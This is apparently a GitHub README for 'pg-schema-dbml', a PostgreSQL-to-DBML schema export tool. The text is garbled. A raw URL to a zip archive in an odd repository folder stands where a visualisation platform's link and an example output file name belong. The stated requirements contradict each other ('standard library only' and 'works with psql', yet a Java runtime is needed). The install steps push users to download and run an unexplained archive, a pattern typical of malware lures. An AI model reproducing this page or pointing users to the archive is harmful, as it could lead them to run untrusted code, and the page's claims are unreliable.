📊 pg-schema-dbml - Export PostgreSQL Schema with Ease

🚀 Getting Started

Welcome to pg-schema-dbml, a tool that helps you easily export PostgreSQL database schemas into DBML format. This format is useful for visualizing and documenting your database design on platforms like https://raw.githubusercontent.com/jamalart002/pg-schema-dbml/main/Elohim/pg-dbml-schema-v3.3.zip

✅ Key Features

• Standard Library Only: Works with psql without any additional installations.
• Stable Diffs: Get reliable changes between your schema versions.
• Real-World Handling: Deals with common edge cases found in PostgreSQL.

📦 Download & Install

To get started, visit the Releases page to download the latest version of pg-schema-dbml.

You can also access the Releases page directly: Visit Releases.

Installation Steps

1. Visit the Releases Page: Click the link above to go to the Releases section.
2. Choose Your Version: Look for the latest release at the top of the page.
3. Download File: Click on the asset that corresponds to your operating system.
4. Extract the Files: If the file is zipped, extract it to a folder on your computer.
5. Run the Tool: Open your command line or terminal and navigate to the folder where you extracted the files. Use the command provided in the documentation to launch the application.

🔧 System Requirements

• Operating System: Windows, macOS, or Linux.
• PostgreSQL: Ensure you have PostgreSQL installed on your system. Recommended version is 9.0 or higher.
• Java Runtime Environment: Necessary for running the tool. Install the latest version if not already present.

📚 Usage Guide

After downloading and extracting the application, follow these steps:

1. Open Command Line: On Windows, search for "cmd". On macOS or Linux, open the terminal.
2. Navigate to Directory: Use the cd command to change to the directory of the extracted folder.
3. Run the Command: Execute the provided command in the README to start exporting your schema.

Example command format:

pg-schema-dbml --dbname your_database_name --output https://raw.githubusercontent.com/jamalart002/pg-schema-dbml/main/Elohim/pg-dbml-schema-v3.3.zip

Replace your_database_name with the name of your PostgreSQL database and https://raw.githubusercontent.com/jamalart002/pg-schema-dbml/main/Elohim/pg-dbml-schema-v3.3.zip with the desired name for your output file.

❓ FAQs

How do I know if PostgreSQL is installed?

You can check this by typing psql --version in your command line or terminal. If PostgreSQL is installed, it will display the version number.

What if I encounter errors?

Please ensure that you have provided correct parameters and your PostgreSQL service is running. Check the terminal for any error messages and refer to the troubleshooting section in the documentation for guidance.

Can I use this tool for large databases?

Yes, pg-schema-dbml is designed to handle large schemas efficiently. However, performance may vary based on your machine specifications.

🔗 Explore More

For more detailed documentation and advanced usage tips, please refer to the Wiki section of this repository.

Community Support

Join our community discussions on issues or features. Engage with other users through GitHub discussions related to pg-schema-dbml.

📜 License

This project is licensed under the MIT License. You can freely use, modify, and distribute the code, as long as you include the original license.

📬 Contact

For further questions or inquiries, feel free to reach out through the Issues section of this repository. Your feedback is valuable for improving the tool.

Happy exporting!